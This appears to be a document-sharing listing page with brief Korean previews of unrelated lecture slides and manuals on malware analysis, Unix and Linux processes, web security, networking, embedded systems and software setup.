Secure Programming Lecture1 : Introduction Malware and Vulnerability Analysis Lecture3-2 Malware Analysis #3-2 Agenda 안드로이드악성코드분석 악성코드분석 안드로이드악성코드정적분석 APK 추출 #1 adb 명령 안드로이드에설치된패키지리스트추출 adb shell pm list packages v0nui-macbook-pro-2:lecture3 v0n$

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 UNIX 및실습 8 장. 프로세스와사용자 명령익히기 1 학습목표 유닉스에서프로세스가무엇인지그개념을이해한다. 프로세스와관련된유닉스명령의사용방법을익힌다. 포그라운드처리와백그라운드처리의차이를이해한다. 사용자정보를보는명령의사용방법을익힌다. 2 01. 프로세스의개념과종류 프로세스 (process) 현재시스템에서실행중인프로그램 프로세스는고유번호를가진다. Process

More information

<3035303432365FC8A8C6E4C0CCC1F620B0B3B9DF20BAB8BEC8B0A1C0CCB5E5C3D6C1BE28C0FAC0DBB1C7BBE8C1A6292E687770>

<3035303432365FC8A8C6E4C0CCC1F620B0B3B9DF20BAB8BEC8B0A1C0CCB5E5C3D6C1BE28C0FAC0DBB1C7BBE8C1A6292E687770> 개 요 홈페이지 해킹 현황 및 사례 홈페이지 개발시 보안 취약점 및 대책 주요 애플리케이션 보안 대책 결 론 참고자료 [부록1] 개발 언어별 로그인 인증 프로세스 예제 [부록2] 대규모 홈페이지 변조 예방을 위한 권고(안) [부록3] 개인정보의 기술적 관리적 보호조치 기준(안) [부록4] 웹 보안관련 주요 사이트 리스트 7000 6,478 6000 5000

More information

리눅스 프로세스 관리

리눅스 프로세스 관리 프로세스 (Process) Process 프로그램이나명령어를실행하면메모리에적재되어실제로실행되고있는상태를의미 이러한프로세스들은프로세스가시작하면서할당받는프로세스식별번호인 PID(Process ID), 해당프로세스를실행한부모프로세스를나타내는 PPID(Parent Process ID), UID 와 GID 정보를통해해당프로세스가어느사용자에속해있는지, 프로세스가파일에대해갖는권한및프로세스가실행된터미널,

More information

Business Agility () Dynamic ebusiness, RTE (Real-Time Enterprise) IT Web Services c c WE-SDS (Web Services Enabled SDS) SDS SDS Service-riented Architecture Web Services ( ) ( ) ( ) / c IT / Service- Service-

More information

임베디드시스템설계강의자료 4 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과

임베디드시스템설계강의자료 4 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과 임베디드시스템설계강의자료 4 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과 Outline n n n n n n 보드개요보드연결필수패키지, Tool-Chain 설치 Kernel, file system build Fastboot 및 Tera Term설치 Kernel, file system 이미지전송및설치 - 2 - Young-Jin Kim X-Hyper320TKU

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Reasons for Poor Performance Programs 60% Design 20% System 2.5% Database 17.5% Source: ORACLE Performance Tuning 1 SMS TOOL DBA Monitoring TOOL Administration TOOL Performance Insight Backup SQL TUNING

More information

Network Security - Wired Sniffing 실습 ICNS Lab. Kyung Hee University

Network Security - Wired Sniffing 실습 ICNS Lab. Kyung Hee University Network Security - Wired Sniffing 실습 ICNS Lab. Kyung Hee University Outline Network Network 구조 Source-to-Destination 간 packet 전달과정 Packet Capturing Packet Capture 의원리 Data Link Layer 의동작 Wired LAN Environment

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Ubuntu 13.04 설치매뉴얼 작성일자 : 2013.05 cafe24 IDC 사업팀 설치이미지부팅 1. Ubuntu CD(DVD) 를넣고해당미디어로부팅을시킵니다. 2. 처음설치화면에서한국어를선택합니다. Ubuntu 설치 1. 우분투서버설치를선택합니다. 번역안내 1. 한국어설정에대한안내화면이출력됩니다. 아직은번역이완벽하지않다는내용임으로 무시하고 < 예 >

More information

ISP and CodeVisionAVR C Compiler.hwp

ISP and CodeVisionAVR C Compiler.hwp USBISP V3.0 & P-AVRISP V1.0 with CodeVisionAVR C Compiler http://www.avrmall.com/ November 12, 2007 Copyright (c) 2003-2008 All Rights Reserved. USBISP V3.0 & P-AVRISP V1.0 with CodeVisionAVR C Compiler

More information

ESP1ºÎ-04

ESP1ºÎ-04 Chapter 04 4.1..,..,.,.,.,. RTOS(Real-Time Operating System)., RTOS.. VxWorks(www.windriver.com), psos(www.windriver.com), VRTX(www.mento. com), QNX(www.qnx.com), OSE(www.ose.com), Nucleus(www.atinudclus.

More information

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx #include int main(void) { int num; printf( Please enter an integer "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 을 작성하면서 C 프로그램의

More information

소개 TeraStation 을 구입해 주셔서 감사합니다! 이 사용 설명서는 TeraStation 구성 정보를 제공합니다. 제품은 계속 업데이트되므로, 이 설명서의 이미지 및 텍스트는 사용자가 보유 중인 TeraStation 에 표시 된 이미지 및 텍스트와 약간 다를 수

소개 TeraStation 을 구입해 주셔서 감사합니다! 이 사용 설명서는 TeraStation 구성 정보를 제공합니다. 제품은 계속 업데이트되므로, 이 설명서의 이미지 및 텍스트는 사용자가 보유 중인 TeraStation 에 표시 된 이미지 및 텍스트와 약간 다를 수 사용 설명서 TeraStation Pro II TS-HTGL/R5 패키지 내용물: 본체 (TeraStation) 이더넷 케이블 전원 케이블 TeraNavigator 설치 CD 사용 설명서 (이 설명서) 제품 보증서 www.buffalotech.com 소개 TeraStation 을 구입해 주셔서 감사합니다! 이 사용 설명서는 TeraStation 구성 정보를

More information

Cloud Friendly System Architecture

Cloud Friendly System Architecture -Service Clients Administrator 1. -Service 구성도 : ( 좌측참고 ) LB(LoadBlancer) 2. -Service 개요 ucloud Virtual Router F/W Monitoring 개념 특징 적용가능분야 Server, WAS, DB 로구성되어 web service 를클라우드환경에서제공하기위한 service architecture

More information